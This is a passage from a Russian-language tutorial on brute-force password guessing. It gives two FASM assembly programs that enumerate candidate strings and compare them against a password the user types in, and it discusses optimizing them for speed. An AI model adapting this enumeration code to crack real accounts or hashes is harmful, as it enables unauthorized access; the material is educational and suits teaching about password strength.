Не последнюю роль в подборе паролей играет «атака по-словарю». Но процент попадания в орфографический словарь представленных выше паролей ничтожно мал, ведь это не осмысленные слова, а скорее напоминают помещённые в миксер предложения. В таких случаях, брут по-словарю абсолютно не эффективен и заранее обречён на провал. Поэтому приготовившись к длительной осаде бастиона, приходится подбирать пароль последовательным перебором всех возможных вариантов, начиная с первого и до последнего его символа. Рассмотрим, как это можно осуществить на практике.

Авансом скажу, что за разумное время (примерно месяц), брутфорсом на одной машине можно подобрать пароли длинной не более 8-ми символов. На подбор представленных выше 16-значных паролей могут уйти года! Но если учесть, что производительность современных компьютеров сейчас на высоте, то «лобовой перебор» из утопии превратился в реальность – это не брут на третьих пеньках. А если распараллелить вычисления по всем ядрам CPU и собрать в кластер несколько таких машин (что собственно и делают хакерские группировки), то время брутфорса можно уменьшить в тысячи раз.

Ниже приводится не оптимизированный исходный код программы-брутфорсера.
Значит всё-что нам нужно, это запросить у юзера пароль для брута, после чего выбрать алфавит с возможными в пароле символами. Теперь, начиная с первого индекса этого алфавита, в цикле перебирать все его символы. Как только сделаем один круг, добавляем к нашему паролю второй символ, ..следом третий и так, пока не найдём схожую с оригинальным паролем комбинацию. То-есть медленно, но верно будем продвигаться к своей цели.

Соответственно на каждой итерации цикла нужно сравнивать обе строки, а в данном примере я отображаю ещё и процесс брута на консоль – это отнимает львиную долю времени перебора. Чтобы узнать чистый профайл брутфорса, можно закомментировать демонстрацию и оставить только сравнение паролей функцией lstrcmp() и сам полезный код, без SetConsoleCursorPosition() + printf(). Вот пример:

C-подобный:

format   pe console
include 'win32ax.inc'
entry    start
;//--------
.data
Base64:  ;//<----------------- Алфавит 64-символов
times 26  db  % +('A'-1)    ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times 26  db  % +('a'-1)    ;// abcdefghijklmnopqrstuvwxyz
times 10  db  % +('0'-1)    ;// 0123456789
          db  '+/'          ;// +/
Base32:  ;//<----------------- Алфавит 32-символов
times 26  db  % +('A'-1)    ;// ABCDEFGHIJKLMNOPQRSTUVWXYZ
times  6  db  % +('2'-1)    ;// 234567

Base16:  ;//<----------------- Алфавит 16-символов
times 10  db  % +('0'-1)    ;// 0123456789
times  6  db  % +('A'-1)    ;// ABCDEF

sTime     SYSTEMTIME        ;// время начала/конца брута

title     db  '*** Password Bruteforce v0.1 ***',0
passLen   dd  0             ;// длина пароля
alphaLen  dd  0             ;// длина алфавита
alphabet  dd  0             ;//

hcrypt    dd  0             ;// хэндл Win32Crypt
hndl      dd  0             ;// дескриптор консоли
align     16
offset    db  64 dup(0)     ;// относительная адресация
buff      rb  128           ;// буфер для рандома
passStr   db  0             ;// буфер для строки с паролем

;//--------
.code
start:    invoke  SetConsoleTitle,title
          invoke  GetStdHandle,STD_OUTPUT_HANDLE
          mov     [hndl],eax

;//====== Запрашиваем у юзера пароль, который будем брутить
         cinvoke  printf,<10,' Type password...: ',0>
         cinvoke  scanf,<'%s',0>,passStr
          mov     [passLen],eax

;//====== Даём ему возможность выбрать алфавит
         cinvoke  printf,<10,
                          ' ==============================================',10,
                          ' ============== SET CONFIGURATION =============',10,
                          ' Alphabet.....: 1 = Base64 --> A..Z, a..z, 0..9, +/',10,
                          '              : 2 = Base32 --> A..Z, 2..7',10,
                          '              : 3 = Base16 --> 0..9, A..F',10,
                          ' Choise number: ',0>
         cinvoke  scanf,<'%d',0>,alphaLen

;//====== Настраиваем переменные под выбранный алфавит
          cmp     [alphaLen],1        ;// проверить ввод на 1
          jne     @f                  ;// на нижнюю метку, если нет..
          mov     [alphabet],Base64   ;// иначе: сохраняем в переменной адрес алфавита,
          mov     [alphaLen],64       ;//     ..и его длину.
          jmp     @startBrute         ;// уйти на брут!

@@:       cmp     [alphaLen],2
          jne     @f
          mov     [alphabet],Base32
          mov     [alphaLen],32
          jmp     @startBrute

@@:       cmp     [alphaLen],3
          jne     @f
          mov     [alphabet],Base16
          mov     [alphaLen],16
          jmp     @startBrute

@@:      cinvoke  printf,<' Error alphabet num!!!',0>  ;// Ошибка ввода!!!
          jmp     @exit


;//==============================================
;//====== ПЕРЕБОР ПАРОЛЕЙ БРУТФОРСОМ ============
;//==============================================
@startBrute:
         cinvoke  printf,<' ==============================================',10,10,
                          ' Bruteforce......: ',0>
;// Очистить буфер, куда будем сбрасывать сгенерированные пароли
;// (пароль юзера для сверки лежит в буфере "passStr").
          mov     edi,buff
          mov     ecx,128/4
          xor     eax,eax
          rep     stosd

;// Системное время начала брута
          invoke  GetSystemTime,sTime
          movzx   eax,word[sTime.wHour]
          movzx   ebx,word[sTime.wMinute]
          movzx   ecx,word[sTime.wSecond]
          movzx   edx,word[sTime.wMilliseconds]
         cinvoke  printf,<10,10,' Start time......: %02d:%02d:%02d.%03d ms',0>,
                          eax,ebx,ecx,edx

;// Генерируем пароли!!!
          mov     ecx,[alphaLen]    ;// длина текущего алфавита
@mainLoop:
          mov     esi,offset        ;// позиция символа, справа от текущего
          mov     edi,buff          ;// приёмник паролей
@decode:  mov     bl,byte[esi]      ;// текущий индекс в нашем пароле
          and     ebx,0ffh          ;// оставить в EBX только мл.байт BL
          add     ebx,[alphabet]    ;// EBX = индекс в алфавите
          mov     al,byte[ebx]      ;// взять от туда символ
          mov     byte[edi],al      ;// сохранить его в своём пароле

;// Отобразить ход и сравнить пароль с юзерским!!!
          push    ecx edi esi
          invoke  SetConsoleCursorPosition,[hndl],0B0013h  ;// позиция курсора в консоли
         cinvoke  printf,<'%s',0>,buff                     ;// показать текущий наш пароль
          invoke  lstrcmp,passStr,buff                     ;// сравнить его с юзерским
          pop     esi edi ecx
          or      eax,eax           ;// проверить результат
          je      @stop             ;// если пароль найден!

          inc     byte[esi]         ;// иначе: индекс +1
          cmp     byte[esi],cl      ;// это конец алфавита?
          jna     @mainLoop         ;// нет - мотаем цикл дальше..
@subLoop:
          mov     byte[esi],0       ;// иначе: сбросить индекс
          mov     ebx,[alphabet]    ;// возвратиться в начало алфавита
          mov     al,byte[ebx]      ;// взять с него первый символ
          mov     byte[edi],al      ;// сохранить его в своём пароле
          inc     esi               ;// сместить указатели
          inc     edi               ;//   ...^^^
          inc     byte[esi]         ;// следующий индекс в нашем пароле типа "АА"
          mov     bl,byte[esi]      ;// взять от туда позицию
          and     ebx,0ffh          ;//
          add     ebx,[alphabet]    ;// EBX = индекс в алфавите
          mov     al,byte[ebx]      ;// байт от туда
          mov     byte[edi],al      ;// сохранить его в своём пароле
          cmp     byte[esi],cl      ;// проверить на конец алфавита
          ja      @subLoop          ;// если байт из ESI больше
          jmp     @mainLoop         ;// иначе: мотаем внешний цикл..

;//=====================================================
;//====== Нашли пароль! Системное время конца брутфорса.
@stop:    invoke  GetSystemTime,sTime
          movzx   eax,word[sTime.wHour]
          movzx   ebx,word[sTime.wMinute]
          movzx   ecx,word[sTime.wSecond]
          movzx   edx,word[sTime.wMilliseconds]
         cinvoke  printf,<10,10,10,' Stop  time......: %02d:%02d:%02d.%03d ms',0>,
                          eax,ebx,ecx,edx

         cinvoke  printf,<10,10,' ******** Password found! ********',0>

@exit:   cinvoke  scanf,<'%s',0>,buff
         cinvoke  exit,0

;//--------
section '.idata' import data readable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import   msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'

Brute.gif

Обратите внимание, что чем длиннее алфавит, тем дольше длиться процесс перебора. Например алфавит «Base64» содержит вдвое больше символов, чем «Base32». Соответственно и обходить его в цикле по-времени будет в два раза накладней. Поэтому если пароль состоит только из цифр типа «12345», то и выбирать нужно самый короткий алфавит «Base16» – это на порядок увеличит скорость брутфорса, чем если-бы мы выбрали только для цифр алфавит «Base64».

4. Варианты оптимизации кода

Время – основной фактор в циклическом инкременте паролей, а потому код должен быть максимально компактным, без избыточных обращений к памяти. Пример выше не может похвастаться этим, хотя и выполняет поставленную задачу. Ныне покойный К.Касперски был увлечён этим направлением и в своих трудах приводил различные фишки для оптимизации кода. Маэстро бесспорно отличался неординарным мышлением и предложил для брута весьма оригинальный вариант – рассмотрим его детали..

Значит по-прежнему имеем в памяти алфавит, из которого последовательно планируем выбирать символы для своего пароля. Здесь, мыщъх посоветовал выстрелить дробью и сразу убить стаю куропаток по такому алго. Мы знаем, что первым символом в алфавите является «А» с кодом 41h=65. А что если использовать код очередного символа, в качестве индекса в алфавите? Правда в этом случае сам алфавит должен иметь строго определённый формат, зато код брутфорса сократится буквально до нескольких байт.

То-есть по адресу(0) в алфавите кладём символ(А) с кодом 41h, а по адресу(41h) вставляем в алфавит следующий символ(B) с кодом 42h. Далее, по адресу(42h) ставим символ(С) с кодом 43h, и т.д. Чтобы по окончании очередного прохода по всему алфавиту на автомате опять перейти в его начало, нужно всего-то закончить алфавит терминальным нулём, который послужит индексом к первому символу(А) алфавита. Всё остальное сделают инструкции XLAT (чтение в AL по индексу) и STOSB (сохранение считанного символа в пароль). Чуть запутано, но надеюсь рисунок ниже прояснит эту ситуацию:

Alpha_Table.png

Таким способом можно сформировать таблицу буквально всех символов, начиная с пробела с кодом 20h, и до самого подвала с символом тильда(~). Теперь наш текущий пароль будет хранить не только просто символы, но эти символы сами будут индексами к следующему символу в алфавите:

C-подобный:

.data
fullAlphabet:
          db  ' '          ;// элемент(0) массива = пробел с кодом 20h
          rb  1Fh          ;// пропускаем следующие, до элемента(20h)
times 94  db  % + ('!'-1)  ;// вставляем все печатные символы латиницы (см.таблицу ASCII)
          db  0            ;// терминальный нуль для возврата в начало (к пробелу).
passStr   db  0            ;// приёмник для символов пароля

;//---------
.code
@BruteForce:
          mov    ebx,fullAlphabet ;// адрес алфавита для XLAT
          mov    edi,passStr      ;// адрес приёмника

@@:       movzx  eax,byte[edi]    ;// AL = очередной символ из нашего пароля
          xlatb                   ;// использовать его как индекс!
          or     eax,eax          ;// конец алфавита?
          je     @01              ;// если да..
          mov    byte[edi],al     ;// иначе: обновить его в пароле
          jmp    @BruteForce      ;// уйти на начало..

@01:      xlatb                   ;// добавляем в пароль сл.символ справа
          stosb                   ;// ^^^
          jmp    @b               ;// промотать цикл, пока не встретим нуль.

Невероятно, но буквально в 26-ти байтах мыщъх умудрился закодировать полноценный брутфорс паролей! Вот это действительно мысль достойная аплодисментов. В примере ниже я позаимствовал у него этот алгоритм, и добавил в него счётчик сгенерированных на текущий момент паролей. При каждом обновлении пароля, я увеличиваю регистр ECX на 1, после чего проверяю его на 100.000. Если равно, то запрашиваю процедуру вывода счётчика на консоль. Это позволит наблюдать скорость перебора паролей – вот вторая, оптимизированная версия брутфорса:

C-подобный:

format   pe console
include 'win32ax.inc'
entry    start
;//--------
.data
alphabet  db  ' '          ;// элемент(0) массива = пробел с кодом 20h
          rb  1Fh          ;// пропускаем следующие, до элемента(20h)
times 94  db  % + ('!'-1)  ;// вставляем все печатные символы латиницы!
          db  0            ;// терминальный нуль для возврата в начало.

title     db  '*** Password Brute v0.2 ***',0
sTime     SYSTEMTIME       ;// время начала/конца брута
counter   dd  0            ;// счётчик сгенерированных паролей
hndl      dd  0            ;// дескриптор консоли

align     16
buff      rb  128          ;// под пароль юзверя
passStr   db  0            ;// буфер для строки с паролем

;//--------
.code
start:    invoke  SetConsoleTitle,title
          invoke  GetStdHandle,STD_OUTPUT_HANDLE
          mov     [hndl],eax

;//====== Запрашиваем у юзера пасс, и сбрасываем его в буфер
         cinvoke  printf,<10,' Type password: ',0>
         cinvoke  scanf,<'%s',0>,buff

;//====== Системное время начала брута
         cinvoke  printf,<10,' =========================',
                          10,' Bruteforce...: ',0>
          invoke  GetSystemTime,sTime
          movzx   eax,word[sTime.wHour]
          movzx   ebx,word[sTime.wMinute]
          movzx   ecx,word[sTime.wSecond]
          movzx   edx,word[sTime.wMilliseconds]
         cinvoke  printf,<10,10,' Start time...: %02d:%02d:%02d.%03d ms',0>,
                          eax,ebx,ecx,edx

;//====== ПЕРЕБОР ПАРОЛЕЙ ПО ВСЕМУ АЛФАВИТУ =============
          xor     ecx,ecx          ;// сбрасываем счётчик паролей
@BruteForce:                       ;// Начало атаки!
          mov     ebx,alphabet     ;// EBX = адрес алфавита для XLAT
          mov     edi,passStr      ;// EDI = приёмник для STOSB

@main:    movzx   eax,byte[edi]    ;//
          xlatb                    ;//
          or      eax,eax          ;//
          je      @newSize        ;//
          mov     byte[edi],al     ;// запись очередного пароля..
          inc     ecx              ;// увеличить счётчик,
          cmp     ecx,100000       ;//    ..и проверить его на 100.000
          jb      @f               ;// пропустить, если меньше
          call    PrintCounter     ;// иначе: вывод счётчика на консоль

@@:       push    ecx ebx edi      ;//
          invoke  SetConsoleCursorPosition,[hndl],040010h  ;// позиция курсора в консоли
         cinvoke  printf,<'%s',0>,passStr                  ;// показать текущий наш пароль
          invoke  lstrcmp,passStr,buff                     ;// сравнить его с юзерским
          pop     edi ebx ecx      ;//
          or      eax,eax          ;//
          je      @stop            ;// стоп, если нашли пароль!

          jmp     @BruteForce      ;//
@newSize: xlatb                    ;// увеличилась длина пароля
          stosb                    ;// расширить его справа.
          jmp     @main            ;//

@stop:
;// Системное время начала брута
          invoke  GetSystemTime,sTime
          movzx   eax,word[sTime.wHour]
          movzx   ebx,word[sTime.wMinute]
          movzx   ecx,word[sTime.wSecond]
          movzx   edx,word[sTime.wMilliseconds]
         cinvoke  printf,<10,10,10,' Stop  time...: %02d:%02d:%02d.%03d ms',0>,
                          eax,ebx,ecx,edx

         cinvoke  printf,<10,10,' ***** Pass found!!! *****',0>
         cinvoke  scanf,<'%s',0>,buff
         cinvoke  exit,0
;//--------
PrintCounter:
          xor     ecx,ecx
          inc     [counter]
          pusha
          invoke  SetConsoleCursorPosition,[hndl],04001Bh   ;// позиция курсора в консоли
         cinvoke  printf,<'%d00.000 passwords',0>,[counter]
          popa
ret
;//--------
section '.idata' import data readable
library  msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',advapi32,'advapi32.dll'
import   msvcrt, printf,'printf',scanf,'scanf',exit,'exit'
include 'apikernel32.inc'
include 'apiadvapi32.inc'

Чтобы посмотреть, с какой скоростью код перебирает пароли, я скомпилировал его в двух вариантах – с выводим процесса на консоль, и без него. Для этого я просто закомментировал следующие две строки кода:

C-подобный:

          invoke  SetConsoleCursorPosition,[hndl],040010h  ;// позиция курсора в консоли
         cinvoke  printf,<'%s',0>,passStr             ;// показать текущий наш пароль

Если клавишей(F7) зайти в эти функции отладчиком, то обнаружим сотни строк кода, при помощи которых система реализует эти функции. Непосредственно полезная нагрузка брутфорса уходит в этом случае на 10-ый план, поэтому и время увеличивается соответственно. Эта разница показана на скринах ниже:

SpeddTest.png

5. Заключение

Здесь я попытался освятить только одну сторону этого интересного направления. За бортом остались «атаки по-словарю», и это чуть другая тема со-своим подходом. Как нибудь в другой раз мы обязательно вернёмся к ней, поскольку в своей массе юзеры используют для паролей именно осмысленные слова, а вот фантазии у них не хватает. Поэтому перебор по-словарю всегда идёт на шаг впереди брутфорса.

В скрепку я положил три исполняемых файла, коды которых мы рассмотрели выше. В версии(1) имеется возможность выбрать алфавит для паролей «Base16/32/64», зато сам алгоритм перебора оставляет желать лучшего. Во-второй версии алго оптимизирован, но алфавит включает в себя все печатные символы, из-за чего процесс перебора может длиться дольше. Без проблем можно было заточить версию(2) и на выбор алфавита, с построением соответствующих таблиц. Но оставлю это вам в качестве дз. Здесь ставлю точку, и до скорого!

Понравилась статья? Поделить с друзьями:
  • Как написать свой блокнот
  • Как написать свой блог
  • Как написать свой биос
  • Как написать свой бизнес проект
  • Как написать свой бизнес план